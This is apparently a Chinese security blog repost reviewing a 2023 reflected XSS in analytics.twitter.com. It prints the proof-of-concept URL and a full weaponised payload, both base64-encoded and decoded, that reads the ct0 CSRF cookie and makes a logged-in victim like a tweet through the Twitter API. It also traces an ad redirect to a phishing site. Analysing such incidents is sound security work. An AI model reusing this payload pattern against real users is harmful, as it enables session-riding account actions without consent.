Twitter核弹漏洞事件回顾

2023年12月14日14:29:09评论61 views字数 10608阅读35分21秒阅读模式

Twitter核弹漏洞事件回顾

CVES实验室

“CVES实验室”(www.cves.io)由团队旗下SRC组与渗透组合并而成，专注于漏洞挖掘、渗透测试与情报分析等方向。近年来我们报送漏洞总数已达八万余个，其中包含多个部级单位、多个通信运营商、Apache、Nginx、Thinkphp等，获得CNVD证书、CVE编号数百个，在不同规模的攻防演练活动中获奖无数，协助有关部门破获多起省督级别的案件。

起因

起因于rabbit公布的一个反射型xss（公布原因是twitter官方不认可这个漏洞且很长时间都没有修复） payload如下所示：

https://analytics.twitter.com/mob_idsync_click?BKLISTID=fbzzx&Country=fxpzg&FSale_25Offer_RLE_Ends_EPD00E25=fwngn&OrgURL=cvvff&TIBCO=v6zjh&_101_returnToFullPageURL=otohn&ad_tracking=true&bep_csid=b3atc&brzu=nj1zx&cc=vg6yk&device_id=thlat&embtrk=r32wa&hideCard=g8b7k&idb=AAAAEICqlMGCMk-gSiMpMuNiRkC-SR1GJ1-zqKcpLy1Hrmbe9fxsnRpuyLA6TP25Zu8ATg93eSHJoznfQpU7JEl0f62r5Pe2LWJWQUzL_4ACZlFDOqZ1HXMYjZ-HNR44awQbp-aYickBlzMBKzP0qBykrS_Veox31HBnRjXPeqqyqkxSQ5cObnSxYNYbPQTRyiSOx3kS-f6ZiBIHxtBwbX1PHr6fgstZjZqMR_56ZohShKJeO8z2TPXZuisb7KmTI2J7qLg75L0xPv9_btDhj0Rc1g&ke_efl=t2tk5&pcode=h70ud&prev_fmts=eydk9&q_mailing_7TUwnpGAByUKFEoRC3VwHdrbpSRRaXie9kfMJ=zj7zd&segment_index=zey6z&sfvc4enews=mc1uc&slug=mmkDvcuyDJ&subscribe_cta=hmwlm&tailored_ads=true&twclid=%22-eval(atob(%22YWxlcnQoJ1hTUyBQb0MgaGVyZScp%22))-%22

Twitter核弹漏洞事件回顾

其中twclid参数中有段base64

YWxlcnQoJ1hTUyBQb0MgaGVyZScp

解码为

alert('XSS PoC here')

atob方法进行base64解码是一个常用的bypass xss思路。

在网上发酵了数个小时之后，另一位师傅Chaofan Shou研究出了武器化思路，可以将反射型xss实现csrf的效果，只需要点击发的链接就进行一些登录后才能进行的操作，例如修改资料、转贴等。

Twitter核弹漏洞事件回顾

我猜测是可以使用fetch进行攻击成功扩大，静静等待最新消息纰漏，然后，最新消息就来了，twitter官方修复了这个漏洞，Chaofan Shou也发布了详细的细节。

细节

一、

Twitter核弹漏洞事件回顾

This XSS seems to be nothing beyond alert popper because:

这个xss似乎做不了alert以外的操作因为以下三个问题：

1). Twitter's cookies are HttpOnly, meaning reading them using Javascript is impossible.

Twitter的cookie是HttpOnly，意味着没办法通过js去读取。

2). There are CSRF tokens, so no CSRF attacks.

这里还有个csrf token，所以csrf攻击无效。

3). Strict same site policy on https://twitter.com/, so no CSRF attacks to it.

Twitter主站有同站策略，所以csrf攻击也无效。

二、

Twitter核弹漏洞事件回顾

However, I figured out some undocumented endpoints on https://api.twitter.com also support using cookies to access. This means that any XSS on subdomains of Twitter can send requests to https://api.twitter.com and impersonate the user. This solves problems 1 and 3.

然而，在api.twitter.com上却有一些undocumented endpoints是允许使用cookie访问的。这就意味着所有twitter子域名上的xss漏洞可以模拟用户对api.twitter.com进行请求。这就能解决问题1和3。

三、

Twitter核弹漏洞事件回顾

Reverse engineering the JS code of https://twitter.com/, I found that the CSRF token is just a hash of csrf_id in the cookie. Surprisingly, the csrf_id is not HttpOnly cookie, meaning that subdomain XSS can read this csrf_id and create CSRF tokens. This solves problem 2.

通过对twitter主站进行js逆向分析，发现csrf token就是cookie中csrf_id的hash值。而csrf_id不是HttpOnly cookie，这就意味着所有twitter子域名上的xss漏洞可以读取csrf_id、创建所谓的csrf token。这就能解决问题2。

最终就可以得到完整的payload：

https://analytics.twitter.com/mob_idsync_click?BKLISTID=fbzzx&Country=fxpzg&FSale_25Offer_RLE_Ends_EPD00E25=fwngn&OrgURL=cvvff&TIBCO=v6zjh&_101_returnToFullPageURL=otohn&ad_tracking=true&bep_csid=b3atc&brzu=nj1zx&cc=vg6yk&device_id=thlat&embtrk=r32wa&hideCard=g8b7k&idb=AAAAEICqlMGCMk-gSiMpMuNiRkC-SR1GJ1-zqKcpLy1Hrmbe9fxsnRpuyLA6TP25Zu8ATg93eSHJoznfQpU7JEl0f62r5Pe2LWJWQUzL_4ACZlFDOqZ1HXMYjZ-HNR44awQbp-aYickBlzMBKzP0qBykrS_Veox31HBnRjXPeqqyqkxSQ5cObnSxYNYbPQTRyiSOx3kS-f6ZiBIHxtBwbX1PHr6fgstZjZqMR_56ZohShKJeO8z2TPXZuisb7KmTI2J7qLg75L0xPv9_btDhj0Rc1g&ke_efl=t2tk5&pcode=h70ud&prev_fmts=eydk9&q_mailing_7TUwnpGAByUKFEoRC3VwHdrbpSRRaXie9kfMJ=zj7zd&segment_index=zey6z&sfvc4enews=mc1uc&slug=mmkDvcuyDJ&subscribe_cta=hmwlm&tailored_ads=true&twclid=%22-eval(atob(%22ZnVuY3Rpb24gaShlLCB0KSB7CiAgICB0cnkgewogICAgICAgIHJldHVybiB0KGUpCiAgICB9IGNhdGNoICh0KSB7CiAgICAgICAgcmV0dXJuIGUKICAgIH0KfQpwYXJzZSA9IGZ1bmN0aW9uKGUsIHQpIHsKICAgIGlmICgic3RyaW5nIiAhPSB0eXBlb2YgZSkKICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCJhcmd1bWVudCBzdHIgbXVzdCBiZSBhIHN0cmluZyIpOwogICAgZm9yICh2YXIgciA9IHt9LCBhID0gdCB8fCB7fSwgYyA9IGUuc3BsaXQoLzsgKi8pLCBvID0gYS5kZWNvZGUgfHxkZWNvZGVVUklDb21wb25lbnQsIHUgPSAwOyB1IDwgYy5sZW5ndGg7IHUrKykgewogICAgICAgIHZhciBsID0gY1t1XQogICAgICAgICAgLCBkID0gbC5pbmRleE9mKCI9Iik7CiAgICAgICAgaWYgKCEoZCA8IDApKSB7CiAgICAgICAgICAgIHZhciBtID0gbC5zdWJzdHIoMCwgZCkudHJpbSgpCiAgICAgICAgICAgICAgLCBwID0gbC5zdWJzdHIoKytkLCBsLmxlbmd0aCkudHJpbSgpOwogICAgICAgICAgICAnIicgPT0gcFswXSAmJiAocCA9IHAuc2xpY2UoMSwgLTEpKSwKICAgICAgICAgICAgbnVsbCA9PSByW21dICYmIChyW21dID0gaShwLCBvKSkKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gcgp9CgpmZXRjaCgiaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vZ3JhcGhxbC9sSTA3TjZPdHd2MVBobkVnWElMTTdBL0Zhdm9yaXRlVHdlZXQiLCB7CiAgImhlYWRlcnMiOiB7CiAgICAiYWNjZXB0IjogIiovKiIsCiAgICAiYWNjZXB0LWxhbmd1YWdlIjogInpoLUNOLHpoO3E9MC45LGVuO3E9MC44IiwKICAgICJhdXRob3JpemF0aW9uIjogIkJlYXJlciBBQUFBQUFBQUFBQUFBQUFBQUFBQUFOUklMZ0FBQUFBQW5Od0l6VWVqUkNPdUg1RTZJOHhuWno0cHVUcyUzRDFadjd0dGZrOExGODFJVXExNmNIamhMVHZKdTRGQTMzQUdXV2pDcFRuQSIsCiAgICAiY29udGVudC10eXBlIjogImFwcGxpY2F0aW9uL2pzb24iLAogICAgInNlYy1jaC11YSI6ICJcIkdvb2dsZSBDaHJvbWVcIjt2PVwiMTE5XCIsIFwiQ2hyb21pdW1cIjt2PVwiMTE5XCIsIFwiTm90P0FfQnJhbmRcIjt2PVwiMjRcIiIsCiAgICAic2VjLWNoLXVhLW1vYmlsZSI6ICI/MCIsCiAgICAic2VjLWNoLXVhLXBsYXRmb3JtIjogIlwibWFjT1NcIiIsCiAgICAic2VjLWZldGNoLWRlc3QiOiAiZW1wdHkiLAogICAgInNlYy1mZXRjaC1tb2RlIjogImNvcnMiLAogICAgInNlYy1mZXRjaC1zaXRlIjogInNhbWUtb3JpZ2luIiwKICAgICJ4LWNsaWVudC10cmFuc2FjdGlvbi1pZCI6ICI1OWYxYnlDM1FyRVFKRGRIaUo4cWt1b0JzQTFBU2FOVFdIWUUxU2FIa3Z6elMvazNVQ0dzNWJtcmNzWG1ENDN6RjMyRHp1WUlGNGQ3elFVU3o4bW9OeldKa213YTVnIiwKICAgICJ4LWNsaWVudC11dWlkIjogImJlYWJjYjk4LWZmMjMtNDVkOS05ZDE1LTY0YmU0ODQxODYwOCIsCiAgICAieC1jc3JmLXRva2VuIjogcGFyc2UoZG9jdW1lbnQuY29va2llKS5jdDAsCiAgICAieC10d2l0dGVyLWFjdGl2ZS11c2VyIjogInllcyIsCiAgICAieC10d2l0dGVyLWF1dGgtdHlwZSI6ICJPQXV0aDJTZXNzaW9uIiwKICAgICJ4LXR3aXR0ZXItY2xpZW50LWxhbmd1YWdlIjogImVuIgogIH0sCiAgInJlZmVycmVyIjogImh0dHBzOi8vdHdpdHRlci5jb20vc2hvdWNjY2Mvc3RhdHVzLzE3MzQ2ODQ4NTAxNzM3Mzk0MTIiLAogICJyZWZlcnJlclBvbGljeSI6ICJzdHJpY3Qtb3JpZ2luLXdoZW4tY3Jvc3Mtb3JpZ2luIiwKICAiYm9keSI6ICJ7XCJ2YXJpYWJsZXNcIjp7XCJ0d2VldF9pZFwiOlwiMTczNDY4NDg1MDE3MzczOTQxMlwifSxcInF1ZXJ5SWRcIjpcImxJMDdONk90d3YxUGhuRWdYSUxNN0FcIn0iLAogICJtZXRob2QiOiAiUE9TVCIsCiAgIm1vZGUiOiAiY29ycyIsCiAgICAgICJjcmVkZW50aWFscyI6ICJpbmNsdWRlIgp9KTs=%22))-%22…

base64解码得到：

function i(e, t) {    try {        return t(e)    } catch (t) {        return e    }}parse = function(e, t) {    if ("string" != typeof e)        throw new TypeError("argument str must be a string");    for (var r = {}, a = t || {}, c = e.split(/; */), o = a.decode ||decodeURIComponent, u = 0; u < c.length; u++) {        var l = c[u]          , d = l.indexOf("=");        if (!(d < 0)) {            var m = l.substr(0, d).trim()              , p = l.substr(++d, l.length).trim();            '"' == p[0] && (p = p.slice(1, -1)),            null == r[m] && (r[m] = i(p, o))        }    }    return r}
fetch("https://api.twitter.com/graphql/lI07N6Otwv1PhnEgXILM7A/FavoriteTweet", {  "headers": {    "accept": "*/*",    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8",    "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA",    "content-type": "application/json",    "sec-ch-ua": ""Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"",    "sec-ch-ua-mobile": "?0",    "sec-ch-ua-platform": ""macOS"",    "sec-fetch-dest": "empty",    "sec-fetch-mode": "cors",    "sec-fetch-site": "same-origin",    "x-client-transaction-id": "59f1byC3QrEQJDdHiJ8qkuoBsA1ASaNTWHYE1SaHkvzzS/k3UCGs5bmrcsXmD43zF32DzuYIF4d7zQUSz8moNzWJkmwa5g",    "x-client-uuid": "beabcb98-ff23-45d9-9d15-64be48418608",    "x-csrf-token": parse(document.cookie).ct0,    "x-twitter-active-user": "yes",    "x-twitter-auth-type": "OAuth2Session",    "x-twitter-client-language": "en"  },  "referrer": "https://twitter.com/shoucccc/status/1734684850173739412",  "referrerPolicy": "strict-origin-when-cross-origin",  "body": "{"variables":{"tweet_id":"1734684850173739412"},"queryId":"lI07N6Otwv1PhnEgXILM7A"}",  "method": "POST",  "mode": "cors",      "credentials": "include"});

可以看出这个payload是利用了api.twitter.com中的FavoriteTweet接口，对https://twitter.com/shoucccc/status/1734684850173739412进行点赞操作。

x-csrf-token也会在访问链接的同时被 parse(document.cookie).ct0填充。

吐槽

analytics.twitter.com这里是一个ads广告功能，此时我想知道twclid在analytics.twitter.com上是做什么用的参数，于是找到了一个没看太懂的document和一个威胁报告。

https://business.twitter.com/en/help/campaign-measurement-and-analytics/conversion-tracking-for-websites.html

Twitter核弹漏洞事件回顾

https://any.run/report/24cc51107b3a5d5b817c44066162c80be57fac926f4bc549825d85d737f2b128/7c4f8c95-1679-42e1-af9a-ccda3ac67633

报告中的恶意链接为：

https://analytics.twitter.com/mob_idsync_click?slug=RcxoRsCVYw&idb=AAAAEICHQCHLbDFAVhTme_YKOERzIOo1lRNcIvrs8J-0CZJfSp9sUKlkNEuR4c4Uklo7mWi7xwz43nrx838aTHL-UrGhFDY0n1Ms9fxn8PF-QpBLoWsxB7TE0iQvXeV4lGo28FWPIvJvD34Q-9coBiKJrxKJF9C6DCTNvILlBK5HhKG5SmFwNjbSl86KyQ2S0v4IQCqf2-OgtehOAQdsCjSDCQaQV24bHx4MYrfk5oZPFQWFng0hQwYkD5d00dpPuEnIRNsKeTbXcYzZQDywbnM4EA&tailored_ads=true&ad_track

访问链接以后的response如下：

HTTP/2 200 OKDate: Wed, 13 Dec 2023 06:03:01 GMTPerf: 7469935968Server: tsa_kContent-Type: text/html;charset=utf-8Cache-Control: no-cache, no-store, max-age=0X-Transaction: bf261b63abfef997Content-Length: 991X-Frame-Options: SAMEORIGINX-Transaction-Id: bf261b63abfef997X-Xss-Protection: 0X-Content-Type-Options: nosniffStrict-Transport-Security: max-age=631138519X-Response-Time: 166X-Connection-Hash: 71a0e93439703174e5dd81349a7d655962dcbbe5107050584ea2cb61f05cbce6

<html>  <head>    <meta name="referrer" content="never">    <noscript>      <meta http-equiv="refresh" content="0;url=https://t.co/RcxoRsCVYw">    </noscript>  </head>  <body>        <img height="1" width="1" style="display:none;" alt="" src="https://cm.g.doubleclick.net/pixel?google_nid=twitter_dbm&google_redir=https://analytics.twitter.com/tpm&idb=AAAAEICHQCHLbDFAVhTme_YKOERzIOo1lRNcIvrs8J-0CZJfSp9sUKlkNEuR4c4Uklo7mWi7xwz43nrx838aTHL-UrGhFDY0n1Ms9fxn8PF-QpBLoWsxB7TE0iQvXeV4lGo28FWPIvJvD34Q-9coBiKJrxKJF9C6DCTNvILlBK5HhKG5SmFwNjbSl86KyQ2S0v4IQCqf2-OgtehOAQdsCjSDCQaQV24bHx4MYrfk5oZPFQWFng0hQwYkD5d00dpPuEnIRNsKeTbXcYzZQDywbnM4EA&google_hm=NzU3ZTVkNTJiODQ0M2VhZjE1MTUzYzI2MDE2Yjc3ZjQ3MDkxYTdhMDU0NjQ4MDU3YjUyOThmNTU1OGM3MGM5ZQ==" />    <script>      var redirect = function () {        window.opener = null;        location.replace("https://t.co/RcxoRsCVYw");      };      window.onload = redirect;      window.setTimeout(redirect, 3000);</script>  </body></html>

访问重定向的链接，继续抓包，response为：

HTTP/2 200 OKDate: Wed, 13 Dec 2023 06:06:38 GMTPerf: 7469935968Vary: OriginServer: tsa_kExpires: Wed, 13 Dec 2023 06:11:38 GMTSet-Cookie: muc=b2deb719-0e6c-43a9-87f9-11af74a615ae; Max-Age=63072000; Expires=Fri, 12 Dec 2025 06:06:38 GMT; Domain=t.co; Secure; SameSite=NoneSet-Cookie: muc_ads=b2deb719-0e6c-43a9-87f9-11af74a615ae; Max-Age=63072000; Expires=Fri, 12 Dec 2025 06:06:38 GMT; Path=/; Domain=t.co; Secure; SameSite=NoneContent-Type: text/html; charset=utf-8Cache-Control: private,max-age=300Content-Length: 244X-Transaction-Id: 780c212eac1668baX-Xss-Protection: 0Strict-Transport-Security: max-age=0X-Response-Time: 176X-Connection-Hash: b725bf0127e679867028102494ed1edcaac7423e1752fd1af974a90b7eb0b770
<head><noscript><META http-equiv="refresh" content="0;URL=https://3tu21g.sinopharm03.com"></noscript><title>https://3tu21g.sinopharm03.com</title></head><script>window.opener = null; location.replace("https://3tu21g.sinopharm03.com")</script>

又是一个重定向，这次是钓鱼网站了。

至此完成了一次从analytics.twitter.com 到 attacker.com的跳转，但是通过对其他analytics上的广告进行对比，发现这是一个正常的跳转活动......也就是说任何注册了twitter广告账号的人都可以随意制作钓鱼网站，甚至更加可怕的恶意网站然后用twitter ads进行包装，这，如果这是正常的业务功能，我也只能说666了。

原文始发于微信公众号（山海之关）：Twitter核弹漏洞事件回顾

左青龙
微信扫一扫

右白虎
微信扫一扫

Twitter核弹漏洞事件回顾

Forrester：2024年五大网络安全新威胁

新的R编程漏洞暴露项目面临供应链攻击

SpaceX 遭攻击，泄露近150GB数据以及多份图纸

为什么使用微软AI会加剧现有的数据质量和隐私问题

5000 多台 CrushFTP 服务器被零日漏洞攻击

利用山寨谷歌 Chrome 传播，安全公司披露勒索木马 Brokewell

大众汽车遭黑客入侵长达 5 年，燃油引擎 / 电池等机密文件泄露

原创 | 近年全球石油天然气行业网络安全事件汇总分析

近年全球石油天然气行业网络安全事件汇总分析

开源的Judge0 中存在多个沙箱逃逸漏洞，可导致系统遭完全接管

发表评论

在线咨询

微信